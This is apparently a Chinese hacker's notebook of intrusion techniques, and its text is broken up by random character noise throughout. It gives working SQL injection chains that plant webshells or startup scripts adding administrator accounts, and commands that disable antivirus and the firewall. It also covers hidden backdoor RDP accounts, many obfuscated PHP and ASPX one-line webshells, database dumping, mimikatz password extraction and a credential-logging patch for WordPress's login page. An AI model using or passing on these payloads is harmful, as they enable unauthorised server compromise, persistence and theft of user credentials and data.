; ? s! f( l" F- ~0 }, ]use test;* s( @9 h' s! l$ @' l
create table a (cmd text);
3 G" c/ ^6 j2 x! Dinsert into a values ("set wshshell=createobject (""wscript.shell"") " );: f0 \$ @1 d B
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
, z9 ^" l/ s K$ h& finsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
/ W" q, }5 X; f6 ~select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
' e8 ]7 y7 v- Hdrop table a;
3 \8 T* a) H5 D
n7 N: L6 M7 p$ u4 ]4 |/ g英文版本:: B6 |9 S; e5 b0 a
( g7 a; O7 F* x' l, y& W
use test;
( ~* U0 E+ R" w. ^1 G# Ucreate table a (cmd text);
/ A, m5 L E6 V& \insert into a values ("set wshshell=createobject (""wscript.shell"") " );/ {3 g" I/ b. _8 t
insert into a values ("a=wshshell.run (""cmd.exe /c net user test 123!@#abcABC /add"",0) " );
9 U, _, [) a: U. u3 p6 vinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators test /add"",0) " );
% G+ \% x) j2 c/ j* H( O7 i# kselect * from a into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\a.vbs";
8 G# |% N) z9 }! L7 @1 r: F4 Odrop table a;% p6 `1 N+ b# X/ u
, p3 [! ?0 Z; D! P
create table a (cmd BLOB);
" e- d) l8 r' A/ Dinsert into a values (CONVERT(木马的16进制代码,CHAR));. ], x: N! P' w7 d4 k
select * from a into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe'
7 o( W: q3 V! J0 p& sdrop table a;
! {6 ]; B6 G6 z0 T, R' _# F& j0 w, g: \
记录一下怎么处理变态诺顿. Q( N u2 [ H
查看诺顿服务的路径
2 n% s5 P! O6 l0 csc qc ccSetMgr! j7 J- j. A2 b
然后设置权限拒绝访问。做绝一点。。
/ X) n8 v% \: Kcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d system
+ d1 g- X5 K! K( e) x+ |cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d "CREATOR OWNER"
, G7 {+ q+ i) r4 P0 r( Pcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d administrators
+ F* f" w& N- w. P. u2 bcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /d everyone" m& @7 L! ^4 c$ p: `. K/ F- z
7 U* Y* r# T3 ]; H7 t8 o然后再重启服务器
7 [ w$ l1 F0 J# @& piisreset /reboot7 t& j" b* f0 a. I7 G2 O
这样就搞定了。。不过完事后。记得恢复权限。。。。# C* H) I5 a# m7 y( ?5 p
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G system:F3 G9 T& t D9 Y/ C
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G "CREATOR OWNER":F
' B- R8 O' y; n4 A1 G* Z+ Pcacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G administrators:F8 u" H& y6 Z' n+ p4 ?2 @- U6 T6 T
cacls "C:\Program Files (x86)\Common Files\Symantec Shared" /t /e /G everyone:F
6 r) I0 `7 D. T3 B' q: rSELECT '<%eval(request(chr(35)))%>' into [fuck] in 'E:\asp.asp;fuck.xls' 'EXCEL 4.0;' from admin
5 ]9 c- Y* x0 @4 z4 _) m) J
) s& e: N/ ?* j7 W) z! FEXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell ''net user''')& V; J0 c7 M: l# J9 `3 O& n$ t
+ t( j3 V, U# ?' m0 `3 Z8 `- I/ apostgresql注射的一些东西$ T- L. @! j# ~, D W, ^+ Z
如何获得webshell
, Z& h U' }' s2 l+ ?http://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);
/ A) q- V' |* Jhttp://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$); : b7 t* w' H: v7 o& h: x
http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$;
" F6 M) G* _: L5 a& e如何读文件5 C+ {* Q8 ]7 V( L# S- n& ]7 S
http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT);9 n# I( |4 {$ J1 ?3 U' j
http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’;! Z- N! O% o/ }) {
http://127.0.0.1/postgresql.php?id=1;select * from myfile;
) a: T& l8 h1 o: C7 S. B8 S- u$ D0 W4 K6 O2 {, C- I
z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。
5 P, O2 ~/ K4 }当然,这些的postgresql的数据库版本必须大于8.X
) `3 L7 B& J% L) M创建一个system的函数:! s; r0 L" P5 E, x
CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT% y' R, Z |1 w0 V+ D7 i5 X
6 }& X8 }+ m( r1 Q: f+ P6 j
创建一个输出表:
z. j- o; I ]$ X; B$ }CREATE TABLE stdout(id serial, system_out text)) H9 z- A; S1 v" A) _4 X M
" o$ B: q G- V执行shell,输出到输出表内:
- A9 [9 ?7 d6 R# x7 H e* W3 ], u3 SSELECT system('uname -a > /tmp/test')
% R4 Z! @7 i) f$ p% J5 Z P# j8 F) z8 @( S7 }5 P
copy 输出的内容到表里面;/ q7 J4 v$ i y/ g F# R$ T7 |8 o
COPY stdout(system_out) FROM '/tmp/test'
7 z- G0 N& M# {8 ^+ @$ ]2 c+ w8 {. K8 K4 I, T/ }
从输出表内读取执行后的回显,判断是否执行成功* W# [* H" ?1 t: [4 h6 E' h0 g7 S3 l
3 g- U# s6 b0 d, q: }% ASELECT system_out FROM stdout! i% K9 I" [# u, X& K1 K
下面是测试例子1 x& S* B9 P5 J$ f& D5 d' K
& T8 ?( ^8 Y2 `) y/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- - b8 I4 t9 i* f
, c+ `, @. d2 O- @( d1 H( s/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'
4 k& r% D/ r Z* p8 d% uSTRICT --
# r$ \% G* [ h0 T% h; R3 ]! L; ~1 w& o0 n7 Y! ?5 T# b9 ?( s
/store.php?id=1; SELECT system('uname -a > /tmp/test') --3 g5 E/ x6 x; k" r" r4 g
! c% ~$ O1 ~ W* J; l8 z" n/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --
7 U2 f1 w, v: K0 H+ `
, [8 n+ M8 f, q3 A1 }' t+ |/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--- M" P4 y& b0 Y& K
net stop sharedaccess stop the default firewall
2 [, b L: c6 k' z; X. fnetsh firewall show show/config default firewall4 ?7 j% O. N9 |1 w; z! y
netsh firewall set notifications disable disable the notify when the program is disabled by the default firewall, {+ F$ ] d* U: L6 R9 W
netsh firewall add allowedprogram c:\1.exe Svchost add the program which is allowed by default firewall
. w/ ^; h6 _ j: d$ Z$ w+ G* g修改3389端口方法(修改后不易被扫出)
e8 X2 g$ c8 I修改服务器端的端口设置,注册表有2个地方需要修改# J& t i, Y, M) W
& t: N& S: ^# u; h4 Q- W9 [' T
[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\Wds\\rdpwd\\Tds\\tcp]
& } L) `) Z9 \4 y! k4 ~PortNumber值,默认是3389,修改成所希望的端口,比如6000! @" {$ @ ~, _9 M. Z& U1 ]
f4 b. s' Z3 j) G& L) I( x* |( k( m第二个地方:
# z% `8 Q- x& k[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp] 9 D: K, o& L1 ?" G: Z, J
PortNumber值,默认是3389,修改成所希望的端口,比如6000& f! c$ G# y0 i6 y* P, @
! t) M& r2 j+ E6 d1 D现在这样就可以了。重启系统就可以了( l) }# D" f6 i& E
6 L; ^( x, f. @. D H; L查看3389远程登录的脚本
) r# p1 V" e4 D4 o- o% f; ^0 K2 k6 o保存为一个bat文件
9 _. `+ k5 s& C4 |) Tdate /t >>D:\sec\TSlog\ts.log+ a) A, Z$ y% B ~; A1 B: u
time /t >>D:\sec\TSlog\ts.log# }- u, }# V7 h3 i x; f
netstat -n -p tcp | find ":3389">>D:\sec\TSlog\ts.log, q8 n1 O* P+ O; C6 r0 |
start Explorer; x% x/ W5 ^; F3 w4 h7 X$ m8 [1 S6 p! O
% l8 o5 T" m6 X, b2 A
mstsc的参数:, t. {2 N& ]0 V) m; h
' f8 B" D- [) V2 a& |' V远程桌面连接; D8 y& X$ _ K% m1 l% n
/ p# V$ Q8 E/ z9 E4 _! ~' vMSTSC [<Connection File>] [/v:<server[:port]>] [/console] [/f[ullscreen]]
- M3 L# P. e. ^9 G [/w:<width> /h:<height>] | /Edit"ConnectionFile" | /Migrate | /?3 a+ _5 n* q9 x% j6 I
; {, |% I$ r# [& e+ n/ N& x7 y& ~
<Connection File> -- 指定连接的 .rdp 文件的名称。4 N) V; p a6 k5 a7 q1 _% {
9 {6 ?8 B9 F4 v' C7 D( a
/v:<server[:port]> -- 指定要连接到的终端服务器。% v! }( Q9 F0 Q9 S( D4 B3 n
% r) @0 z$ w; Y) I
/console -- 连接到服务器的控制台会话。
& T- l7 _5 I, X- \% b' g$ ]1 U. }; @; c5 K- F
/f -- 以全屏模式启动客户端。
; k0 v2 E* {6 J7 p! ]% Z, t7 D( }* h: a
/w:<width> -- 指定远程桌面屏幕的宽度。) G* G% q: W$ ]- d6 `) C" [. H
# E2 _9 \; ^. a# K+ Q/h:<height> -- 指定远程桌面屏幕的高度。
/ O! u* ^! h! E3 q7 ^8 [2 G) e) b" M# ~$ Q" b" l
/edit -- 打开指定的 .rdp 文件来编辑。" N: ^( w) ]/ A% p
. g* Y# w1 P* B0 h G
/migrate -- 将客户端连接管理器创建的旧版
! H, E7 o$ `1 g* k2 `! U连接文件迁移到新的 .rdp 连接文件。
( A1 h. i1 b1 {; N( e7 I+ c5 z: ?4 f( n
* G; N1 i6 s: o$ ~
其中mstsc /console连接的是session 0,而mstsc是另外打开一个虚拟的session,这样的话就是相当与另外登陆计算机。也就是说带console参数连接的是显示器显示的桌面。大家可以试试啊,有的时候用得着的,特别是一些软件就
$ `( H2 |. S: n3 s3 s" T; P0 Bmstsc /console /v:124.42.126.xxx 突破终端访问限制数量
; H. D7 t) ]# I2 g% f9 O' y! N9 `4 |( g/ n9 M
命令行下开启3389
% l ~0 j, y6 C; l& ]" Ynet user asp.net aspnet /add$ L8 I( ^4 a7 E7 Q" G D$ K! H
net localgroup Administrators asp.net /add" k. v) R) o7 N+ |. G4 N! }
net localgroup "Remote Desktop Users" asp.net /add+ @+ p9 x+ K4 u5 }% g
attrib +h "%SYSTEMDRIVE%\Documents and Settings\asp.net" /S /D
9 C* ?" c$ C, @) }" [5 lecho Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d 0" c# v' h. z* C/ {
echo Y | reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v AllowTSConnections /t reg_dword /d 18 s' x; V4 V# Y6 G
echo Y | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v "asp.net" /t REG_DWORD /d 00000000 /f' w$ y+ j8 N6 S( q1 v) L. V
sc config rasman start= auto
/ n0 Z4 k0 Z/ E! o; L* esc config remoteaccess start= auto
# V/ f/ }. p! Z; [; B3 i |3 F- z; snet start rasman
6 q0 V& A: \* |2 ~1 K) K e6 q! T. Nnet start remoteaccess
0 D* [ ]$ q4 X! f3 jMedia8 Q: ~7 ], B5 _; [9 Q) `0 @
<form id="frmUpload" enctype="multipart/form-data"
( B x0 l8 M6 {& g2 V$ h yaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br> D$ N7 @" x& c; H N. S
<input type="file" name="NewFile" size="50"><br>% t: B% j! f& _$ D# ] |
<input id="btnUpload" type="submit" value="Upload">
! k) x+ x) s! b1 C, f( P# {9 M</form>( t0 p$ M% x/ U' k- s4 j
" ]) ]# G4 n9 ]9 U2 lcontrol userpasswords2 查看用户的密码- C+ S5 J# b t u% i
access数据库直接导出为shell,前提a表在access中存在。知道网站的真实路径' |1 H' z( K5 b4 f- |
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a0 t' K' u, G$ ^0 z1 x
; B7 m" O$ {/ ~$ Q8 ?, P
141、平时手工MSSQL注入的时候如果不能反弹写入,那么大多数都是把记录一条一条读出来,这样太累了,这里给出1条语句能读出所有数据:
, _% Z; ^) ]; }0 i9 j1 J测试1:! F4 V. V K) b _) \2 e
SELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
4 k3 Y+ Q) F& c, t
5 F) e5 j# t! T3 D测试2:
% j J2 x' V! r1 \7 I6 B9 G: Q2 i% M# I
create table dirs(paths varchar(100),paths1 varchar(100), id int)6 h) k+ j" P4 q% I# L
- C. X9 t% \' k# q9 ~" w1 W4 b
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
% g' a6 S( j6 J2 f; a
& \) i& @( ]% b. E1 mSELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1
; ?7 U: D) R8 ~+ M关闭macfee软件的方法://需要system权限,请使用at或psexec –s cmd.exe命令1 f% {, ~2 C; \3 H7 g" G9 k
可以上传.com类型的文件,如nc.com来绕过macfee可执行限制;' ~, I0 ]" Z e3 k, c& K
net stop mcafeeframework
. K; |- G$ O1 n- A3 z5 K4 W9 fnet stop mcshield% G" V3 t$ b* w: \1 R9 c) f
net stop mcafeeengineservice6 r8 S# e$ W* M) d! o9 T
net stop mctaskmanager4 a, V" z X3 H' Q! C/ R' Z6 f; p
http://www.antian365.com/forum.p ... DU5Nzl8NDY5Mw%3D%3D
! B* O& D3 F _/ @/ M1 R% m
+ P! r) }7 E, U/ Z% [ VNCDump.zip (4.76 KB, 下载次数: 1) P+ j+ Q7 Y3 M! x+ j- |" [
密码在线破解http://tools88.com/safe/vnc.php' p* ?" Z: d; |/ S/ b8 N
VNC密码可以通过vncdump 直接获取,通过dos查询[HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4] 下的Password也可以获取
' s1 p8 L7 w1 V0 b
# w; I- \4 C" h2 |) Y4 v5 nexec master..xp_cmdshell 'net user') d7 n5 v/ Z7 g6 r( Y
mssql执行命令。
9 R8 O6 p) }/ s1 M获取mssql的密码hash查询
$ O7 Q" @" Q' r$ e7 ?select name,password from master.dbo.sysxlogins
+ H3 K/ o9 E' L- a2 u
' y* Y! b2 @2 D6 _) q5 N/ o1 Q& ybackup log dbName with NO_LOG;0 C5 [+ ^, A' C5 C/ w3 R
backup log dbName with TRUNCATE_ONLY;
6 K J. a& O/ h3 u1 ]8 lDBCC SHRINKDATABASE(dbName);
3 Z/ v0 F; y# i2 _& f/ }( F6 Z3 fmssql数据库压缩
! x! t5 F9 `2 U% n5 K8 O2 t5 y4 P) x- p% w
Rar.exe a -ep1 -m0 -v200m E:\web\1.rar E:\webbackup\game_db_201107170400.BAK
- i* k+ r+ D" y将game_db_201107170400.BAK文件压缩为1.rar,大小为200M的分卷文件。
4 D7 `7 r% U) o$ L- V* B* h8 [' [
6 S2 x& `. l6 l! C5 Rbackup database game to disk='D:\WebSites\game.com\UpFileList\game.bak'
7 i4 r8 d1 j( j0 F0 A2 S5 R备份game数据库为game.bak,路径为D:\WebSites\game.com\UpFileList\game.bak
! N, n6 N/ H; x2 {! U4 Q! ~- |+ v3 n ~ D3 [3 k
Discuz!nt35渗透要点:
+ m4 N& E0 [" ?(1)访问 网站地址/admin/global/global_templatesedit.aspx?path=../tools/&filename=rss.aspx&templateid=1&templatename=Default3 t& \5 b2 w% @+ C
(2)打开rss.aspx文件,将<%@ Page Inherits="Discuz.Web.UI.RssPage" %>复制到本地备份,然后替换其为<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>8 F& F4 y1 Y# J2 b8 k) \
(3)保存。
" x: L# l3 M3 i: B(4)一句话后门地址http://somesite.com.cn/tools/rss.aspx 密码为pass, e3 \/ \# @0 L% Q6 t
d:\rar.exe a -r d:\1.rar d:\website\2 _$ a4 q0 W5 r# I
递归压缩website
0 j" _ e8 ~, @) l注意rar.exe的路径/ S1 r* _8 U( V6 }( S" U/ d
, i" {* H! x; c! i
<?php
8 y; l# N- j% e+ o) B Q/ Z. d1 }# C I
$telok = "0${@eval($_POST[xxoo])}";) T; d: @% \( K! `
n+ C: l7 ~# ^$username = "123456";
9 r; f# o2 D* k* R
3 i" l* l1 X3 e4 w0 O/ L, d# r0 O$userpwd = "123456";" [. P. w7 c, |! m" Z$ q6 U& M
( E. w, Z. f1 w) \+ }& U3 ?% W, o$telhao = "123456";
" Q J7 ^) [* R' F \9 b! V6 O5 F' L! ~, m' h( @0 |
$telinfo = "123456";
5 D* o& z4 E) o9 Z! f: s" n9 N# d' j! K8 x3 g4 ?/ G" R; ?
?>% v& I: B! m+ @+ n: a
php一句话未过滤插入一句话木马
2 Z7 z& \$ c3 y4 l% b: ]/ F& N7 ^% {5 p" w, U9 B
站库分离脱裤技巧
: x" B1 K( @. A; B. Z3 j% X/ Texec master..xp_cmdshell 'net use \\xx.xx.xx.xx\d$\test "pass" /user:"user"'0 c2 X7 d/ z- ^* I+ f1 I
exec master..xp_cmdshell 'bcp test.dbo.test out \\xx.xx.xx.xx\d$\test\1.txt -c -Slocalhost -Uuser -Ppass'
, S$ A7 q% d- [4 l# M条件限制写不了大马,只有一个一句话,其实要实现什么完全够了,只是很不直观方便啊,比如tuo库。' R4 |& p1 ?9 A7 Y
这儿利用的是马儿的专家模式(自己写代码)。) V, w7 i% z, P1 y% _
ini_set('display_errors', 1);
2 u0 t2 J+ B9 B! L' g9 \set_time_limit(0);
" t* f1 G g' @$ ~, ~error_reporting(E_ALL);# Q/ W) B" |: U, R( J+ [
$connx = mysql_connect(":/var/tmp/mysql.sock", "forum", "xx!!xx3") or die("Could not connect: " . mysql_error());
4 P' t5 I9 Y5 N1 S( jmysql_select_db("discuz",$connx) or die("Could not connect: " . mysql_error());
5 Q9 E) b% T; p0 Z$result = mysql_query("Select * FROM members",$connx) or die("Could not connect: " . mysql_error());
8 {; _# @% _$ o c4 k$i = 0;
# [. X7 Y+ U4 X7 i! O$tmp = '';
$ p/ G1 r4 K/ y% F& {4 Kwhile ($row = mysql_fetch_array($result, MYSQL_NUM)) {
3 x0 U! j1 v$ i e. Y8 L $i = $i+1;
# E8 ]* B5 W, Y$ K; L7 a- Z. b $tmp .= implode("::", $row)."\n";1 R; v- ~; X1 F9 D/ @
if(!($i%500)){//500条写入一个文件2 k& |. ^* o4 P* r; Q) L# B
$filename = '/home/httpd/bbs.xxxxx/forumdata/cache/user'.intval($i/500).'.txt';
' @' {5 Q3 G( D file_put_contents($filename,$tmp);3 D7 j4 A% _0 }+ f5 U. r7 v# m( s
$tmp = '';
' L' H4 F2 Q- K& v* j5 y) E! A/ m9 f/ ~ }( W4 q( t9 R6 i; l [
}- G2 _5 I" X* c; i6 U/ Q
mysql_free_result($result);
$ s7 h2 a0 k- s9 Y4 V* U: X( [+ Y8 {' V# W) n" }4 k b9 Z; i) }
: ~. S- F7 o' z. [; y4 a0 v ?! G" w3 e
//down完后delete3 x3 J- Z* u7 F5 |* ~! h Y
8 Z) e' o6 o8 F E; F: F# W; o9 `" p( f
ini_set('display_errors', 1);
9 \( v9 Z* t. Y7 F2 S" gerror_reporting(E_ALL);& i3 e% v/ j! ~. U) K8 V+ S: W
$i = 0;
; @% O- w+ E- a; M swhile($i<32) {+ P8 Z+ A( a- L" @9 y; n
$i = $i+1;
0 Q* e7 b6 o0 ~7 c2 D; J0 b $filename = '/home/httpd/bbs.xxxx/forumdata/cache/user'.$i.'.txt';+ ^3 N# Z; s( ]
unlink($filename);2 R& b( M4 D+ T& ~- {) @
}
# g m: k( ~ u7 R \; thttprint 收集操作系统指纹1 s6 y9 @* E0 Y
扫描192.168.1.100的所有端口9 [5 c& V$ j9 v* s$ Y
nmap –PN –sT –sV –p0-65535 192.168.1.100/ |! b/ H( s B0 f3 r$ @5 N
host -t ns www.owasp.org 识别的名称服务器,获取dns信息
8 |% b8 A/ y" V$ n$ C3 Z) S* G% yhost -l www.owasp.org ns1.secure.net 可以尝试请求用于owasp.org的区域传输; Z. v" b7 m1 H3 S A Z- {9 Z
Netcraft的DNS搜索服务,地址http://searchdns.netcraft.com/?host
8 i" e' l. v; K
9 P/ ]. r6 P5 I1 g4 ?6 gDomain tools reverse IP: http://www.domaintools.com/reverse-ip/ (需要免费注册)
! o) j3 O4 f+ L ^, j F! J3 R; N) Q0 m' O$ f
MSN search: http://search.msn.com 语法: "ip:x.x.x.x" (没有引号)/ v$ G/ Y( x4 c; q
, {+ P0 n* R2 {+ w% x
Webhosting info: http://whois.webhosting.info/ 语法: http://whois.webhosting.info/x.x.x.x1 F+ E7 k" x" A1 z3 a; ~' o
. R. \ P- l$ L- n/ i2 ?2 g0 D
DNSstuff: http://www.dnsstuff.com/ (有多种服务可用). D; S8 Z$ x; y/ R
3 F6 f$ T1 R7 j
http://net-square.com/msnpawn/index.shtml (要求安装)
4 ~. V& O" E% {5 r+ u/ Y. Z% P! r3 m' H5 k% v1 Y
tomDNS: http://www.tomdns.net/ (一些服务仍然是非公开的)
6 Y# N8 Y X( M, p5 \& t. U$ Z" R# P3 F, Y- `5 M2 K( ?' O- ?
SEOlogs.com: http://www.seologs.com/ip-domains.html (反向IP/域名查找)
! d" M0 h; P8 kset names gb23127 Y6 U* @2 L8 T/ ~0 I
导入数据库显示“Data too long for column 'username' at row 1”错误。原因是不支持中文。
K2 y1 d+ p" Q) [8 U5 W; s7 k) m3 ~
, g+ @5 B/ F' nmysql 密码修改
5 o& s: d" Q+ X' T7 D# o' hUPDATE mysql.user SET password=PASSWORD("newpass") whereuser="mysqladmin ”
: i* x0 l% r+ G: uupdate user set password=PASSWORD('antian365.com') where user='root';# r' I% b" A G8 }$ }3 r( B
flush privileges;
3 Z' f% e! R7 S7 r, v高级的PHP一句话木马后门! P$ d6 R3 U! o* ~4 L% E1 s3 o+ t
+ x [# R- ]8 M. t) P/ s# a" g入侵过程发现很多高级的PHP一句话木马。记录下来,以后可以根据关键字查杀( l f N, t8 Z
+ H0 b; v$ A0 ]2 L+ G) C
1、: Z S) q. Z+ K3 y K" R
7 _- t6 ]2 P( e) Y% A0 x$hh = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
; V( `5 _( Y( E( ?) E& ~+ U. a0 a3 d
$hh("/[discuz]/e",$_POST['h'],"Access");- g! \6 Y, f* `- l
" e* b, _; V/ [6 ~3 p
//菜刀一句话! `9 ]1 @# ?# x. U( F" }* N7 c
- p5 m6 g0 g6 w
2、
/ ]0 s; c9 c! E$ P% R) Q/ [& n4 ]1 d# k0 d o' p9 K9 r
$filename=$_GET['xbid'];
8 a/ u- `6 } p' [3 i/ a L9 V3 N4 Z9 H" Q4 S" c1 b
include ($filename);% P! _6 N! o7 c0 `3 f
" b( t3 C8 R: }6 N+ ^" N& i
//危险的include函数,直接编译任何文件为php格式运行
, _4 g2 X" u; s; d
& X5 @# }. F+ D5 R3、
9 C+ _/ l2 @* i2 g1 @! F3 A8 y* D9 f& [
$reg="c"."o"."p"."y";- u; v. T9 l0 u# y6 p
' B$ H: G1 V T+ [$ z# A; }. j. K
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
" h% L/ L! b1 W$ f/ J2 W7 V2 s" Q" X
//重命名任何文件
- H7 _$ X3 D7 T t! ^% Y, n5 R/ A D9 Q
4、
) z, r0 {" T, B+ S
- u. ]- D" J" l, U9 R1 k& K$gzid = "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e"; H! R% D8 g: [& E. \$ O, _! r
0 ]* C4 k1 h q' |$gzid("/[discuz]/e",$_POST['h'],"Access");8 h6 p' {7 D1 _; U1 e& {6 n0 o
0 t' g! v" ~. A- [: H- j+ @4 s
//菜刀一句话. F E& `, H" k/ o: t3 F; t8 l
# c- x k; y0 }7 Q
5、include ($uid);
; a/ }; C# ]6 t* e6 t+ Y! w; t$ B' A! O6 d, x7 e: N B9 Q
//危险的include函数,直接编译任何文件为php格式运行,POST E$ s' Z4 R7 i
2 N. ^$ ]5 `/ z5 T: `. [# G, O# a
) T* s. ?) V9 w+ i( o//gif插一句话2 z" F; Z s4 M5 C5 R7 d' q
% j. i6 d4 C2 u' L9 B6、典型一句话
7 G8 U, e6 y& m( z5 _, U+ ]6 {1 B( d! r6 H+ H2 S$ b
程序后门代码
3 w) Y6 {3 z. D1 j$ U: I3 G<?php eval_r($_POST[sb])?>9 X; p* f4 g1 w5 O8 O l4 `; e
程序代码
s7 E9 {! G! \, P3 I/ |5 N<?php @eval_r($_POST[sb])?>2 A* j- g" h2 G; H( c8 d' R
//容错代码
# C: M9 }( ^# h, N( s* g程序代码1 S% W, @5 l" G4 g
<?php assert($_POST[sb]);?>4 l- n) n: H1 L% F, ~; S
//使用lanker一句话客户端的专家模式执行相关的php语句# i8 A9 ]) o/ _7 T b4 O, T
程序代码
+ u, V- ~, V' h- ?) ~+ ]<?$_POST['sa']($_POST['sb']);?>$ @4 C, `& r2 C6 u B* P$ e' ~
程序代码
2 L n: C2 ]) k$ e, U<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
. _1 ]6 j1 r9 E! t8 s! N程序代码
! h3 f# h" F8 q( {5 t; u4 V4 b<?php3 r4 v. M1 M! Z4 X t% z( D) s
@preg_replace("/[email]/e",$_POST['h'],"error");
3 V c$ [! E2 P6 Q: t5 I?>
- d3 c5 T) g1 U2 |' K7 ^//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入) k& M# o9 m4 U, p/ g# y2 ^- r5 P
程序代码
; e. v* H+ w" G' v. Q+ O<O>h=@eval_r($_POST[c]);</O>
7 w" D! o3 v4 U程序代码7 W1 M1 r- d( N6 Y/ _* y
<script language="php">@eval_r($_POST[sb])</script>! O2 U; @7 s7 _& B
//绕过<?限制的一句话
7 x2 L! T& C' t$ d+ D
7 ?5 p, P2 k$ m7 t2 R& Vhttp://blog.gentilkiwi.com/downloads/mimikatz_trunk.zip8 L4 {$ C, F, Y+ y
详细用法:
! B0 g5 [" m: ^% v' {9 S. F+ u1、到tools目录。psexec \\127.0.0.1 cmd
' O4 W: K3 j6 `8 x2、执行mimikatz2 V/ W) O# R" [. I
3、执行 privilege::debug/ Y6 U0 D( P+ O7 x
4、执行 inject::process lsass.exe sekurlsa.dll* A7 F' @) }6 E2 H
5、执行@getLogonPasswords4 R% Y- j5 u# o; P+ ]
6、widget就是密码8 P, Q/ O( M a i
7、exit退出,不要直接关闭否则系统会崩溃。, S& ~ F& P! s1 r, v
& @5 k5 a7 x" ?! h5 Z+ O; qhttp://www.monyer.com/demo/monyerjs/ js解码网站比较全面
# {( u. ?# l* R7 i) a2 L! M
9 ^" Y$ O2 Z0 ~& c. D: W" P自动查找系统高危补丁
4 o F6 y- Z! x6 s( _ q N5 r3 K/ c3 Fsysteminfo>a.txt&(for %i in (KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 kb942831 KB2503665 KB2592799) do @type a.txt|@find /i "%i"||@echo %i Not Installed!)&del /f /q /a a.txt+ B* c. B& w! R9 P: [5 H
7 d% R0 Y- P/ m* ^) H突破安全狗的一句话aspx后门+ l& I% L, w! ?3 N% x5 o
<%@ Page Language="C#" ValidateRequest="false" %>- y l+ E. U) i7 g5 n2 `8 E* d
<%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["你的密码"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>
! }3 V% |3 ^# [0 O" a' Ywebshell下记录WordPress登陆密码
& G6 o- p0 i! B5 Q$ ]. v$ kwebshell下记录Wordpress登陆密码方便进一步社工
+ i; F4 a' ?; A* ~, i在文件wp-login.php中539行处添加:
! p6 W9 f5 O6 r% M4 p// log password6 C8 T/ u7 A t% Q5 y9 _2 H
$log_user=$_POST['log'];6 I8 H- Z% g0 F! T5 X3 A
$log_pwd=$_POST['pwd'];
~9 g& d8 K5 |! H8 ?6 w( I i$log_ip=$_SERVER["REMOTE_ADDR"];* P+ X* T( Q) k7 c, \( N6 ~5 @9 W: S
$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;. x [) J9 d( x: u: n
$txt=$txt.”\r\n”;: f" j: V6 L5 Y7 V1 e) I& }( N
if($log_user&&$log_pwd&&$log_ip){
4 t! [- U8 E5 p& s& r' t$ T% o@fwrite(fopen(‘pwd.txt’,”a+”),$txt);9 j4 \. r$ D& g6 u- I, D& Q
}" b) q5 `9 ^7 _$ [. L( p
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。4 U t$ B+ q0 ]9 a. @, o/ v
就是搜索case ‘login’$ i) _7 S. T0 s' g! u
在它下面直接插入即可,记录的密码生成在pwd.txt中,8 O$ U4 {- M: V8 W' Q3 C! u
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
